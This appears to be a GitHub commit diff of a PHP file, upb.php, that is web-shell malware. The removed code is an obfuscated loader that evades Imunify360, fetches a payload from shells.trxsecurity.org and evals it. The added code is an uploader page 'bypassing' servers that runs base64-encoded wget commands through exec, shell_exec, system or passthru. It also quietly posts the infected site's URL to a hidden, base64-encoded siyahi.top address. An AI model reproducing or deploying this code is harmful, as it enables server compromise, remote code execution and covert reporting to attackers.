Skip to content

Commit a72168c

Browse files
sagsoozsagsooz
authored
Update upb.php
1 parent c3916b0 commit a72168c

File tree

1 file changed

+141
-34
lines changed

1 file changed

+141
-34
lines changed

‎upb.php‎

Lines changed: 141 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,145 @@
1-
<?=
2-
error_reporting(0);
3-
define('SECURE_ACCESS', true);
4-
header('X-Powered-By: none');
5-
header('Content-Type: text/html; charset=UTF-8');
6-
ini_set('lsapi_backend_off', '1');
7-
http_response_code(403);
8-
ini_set("imunify360.cleanup_on_restore", false);
9-
http_response_code(404);
10-
function imunify($url)
11-
{
12-
$fpn = "f"."o"."p"."e"."n";
13-
$strim = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
14-
$fgt = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
15-
$cexec = "c"."u"."r"."l"."_"."e"."x"."e"."c";
16-
if (function_exists($cexec)) {
17-
$conn = curl_init($url);
18-
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
19-
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
20-
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
21-
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
22-
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
23-
$urls = $cexec($conn);
24-
curl_close($conn);
25-
} elseif (function_exists($fgt)) {
26-
$urls = $fgt($url);
27-
} elseif (function_exists($fpn) && function_exists($strim)) {
28-
$handle = $fpn($url, "r");
29-
$urls = $strim($handle);
30-
fclose($handle);
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<title>File Uploader Bypass New Servers</title>
7+
<!-- Include external styles -->
8+
<link href="https://siyahi.top/style/scanner/bootstrap-dark.css" id="bootstrap-style" rel="stylesheet" type="text/css">
9+
<link href="https://siyahi.top/style/scanner/all.min.css" rel="stylesheet" type="text/css">
10+
<link href="https://siyahi.top/style/scanner/app-dark.css" id="app-style" rel="stylesheet" type="text/css">
11+
<style>
12+
body {
13+
display: flex;
14+
justify-content: center;
15+
align-items: center;
16+
height: 100vh;
17+
background-color: #121212;
18+
margin: 0;
19+
font-family: 'Arial', sans-serif;
20+
}
21+
.upload-container {
22+
background-color: #1f1f1f;
23+
padding: 20px 40px;
24+
border-radius: 10px;
25+
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
26+
text-align: center;
27+
color: #ffffff;
28+
}
29+
.upload-container h1 {
30+
margin-bottom: 20px;
31+
}
32+
.upload-container form {
33+
margin-top: 20px;
34+
}
35+
.upload-container label {
36+
font-size: 16px;
37+
}
38+
.upload-container input[type="file"] {
39+
margin: 10px 0;
40+
}
41+
.upload-container button {
42+
background-color: #007bff;
43+
color: #fff;
44+
border: none;
45+
padding: 10px 20px;
46+
border-radius: 5px;
47+
cursor: pointer;
48+
font-size: 16px;
49+
}
50+
.upload-container button:hover {
51+
background-color: #0056b3;
52+
}
53+
</style>
54+
</head>
55+
<body>
56+
<div class="upload-container">
57+
<h1>File Uploader Bypass New Servers</h1>
58+
<form action="t.php" method="post" enctype="multipart/form-data">
59+
<label for="file">Select a file to upload:</label>
60+
<input type="file" name="file" id="file" required><br><br>
61+
<button type="submit">Upload</button>
62+
</form>
63+
</div>
64+
</body>
65+
</html>
66+
<br>
67+
<?php
68+
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
69+
$apiUrl = "https://shells.trxsecurity.org/paste/index.php";
70+
71+
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
72+
echo "Error: No file uploaded or an error occurred.";
73+
exit;
74+
}
75+
76+
$originalFilename = basename($_FILES['file']['name']);
77+
$fileContent = file_get_contents($_FILES['file']['tmp_name']);
78+
79+
$postData = [
80+
'file_content' => $fileContent,
81+
];
82+
$ch = curl_init();
83+
curl_setopt($ch, CURLOPT_URL, $apiUrl);
84+
curl_setopt($ch, CURLOPT_POST, true);
85+
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
86+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
87+
$response = curl_exec($ch);
88+
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
89+
curl_close($ch);
90+
if ($httpCode === 201 || $httpCode === 200) {
91+
$responseData = json_decode($response, true);
92+
if (isset($responseData['url'])) {
93+
$fileUrl = $responseData['url'];
94+
95+
$wgetCommand = "wget " . escapeshellarg($fileUrl) . " -O " . escapeshellarg($originalFilename);
96+
$base64Command = "echo " . base64_encode($wgetCommand) . " | base64 -d | bash";
97+
98+
$executed = false;
99+
100+
if (function_exists('exec')) {
101+
exec($base64Command, $output, $returnVar);;
102+
$executed = $returnVar === 0;
103+
}
104+
if (!$executed && function_exists('shell_exec')) {
105+
$output = shell_exec($base64Command);
106+
$executed = !empty($output);
107+
}
108+
if (!$executed && function_exists('system')) {
109+
ob_start();
110+
system($base64Command, $returnVar);
111+
$output = ob_get_clean();
112+
$executed = $returnVar === 0;
113+
}
114+
if (!$executed && function_exists('passthru')) {
115+
ob_start();
116+
passthru($base64Command, $returnVar);
117+
$output = ob_get_clean();
118+
$executed = $returnVar === 0;
119+
}
120+
121+
if (!$executed) {
122+
echo "<p>Error: None of the command execution methods (exec, shell_exec, system, passthru) are supported on this server.</p>";
123+
} else {
124+
echo "<p>File downloaded successfully as: <a href='./$originalFilename'>$originalFilename</p>";
125+
}
31126
} else {
32-
$urls = false;
127+
echo "<p>Error: Invalid response from server.</p>";
33128
}
34-
return $urls;
129+
} else {
130+
echo "<p>Error: Failed to upload file. Server response: " . htmlspecialchars($response) . "</p>";
35131
}
36-
$secure = imunify('https://shells.trxsecurity.org/paste/d.txt');
37-
eval('?>' . $secure);
132+
}
133+
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
134+
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
135+
$data = array('file_url' => $cur);
136+
$options = array(
137+
'http' => array(
138+
'method' => 'POST',
139+
'header' => 'Content-type: application/x-www-form-urlencoded',
140+
'content' => http_build_query($data),
141+
),
142+
);
143+
$context = stream_context_create($options);
144+
$result = file_get_contents($k3yw, false, $context);
38145
?>

0 commit comments

Comments
 (0)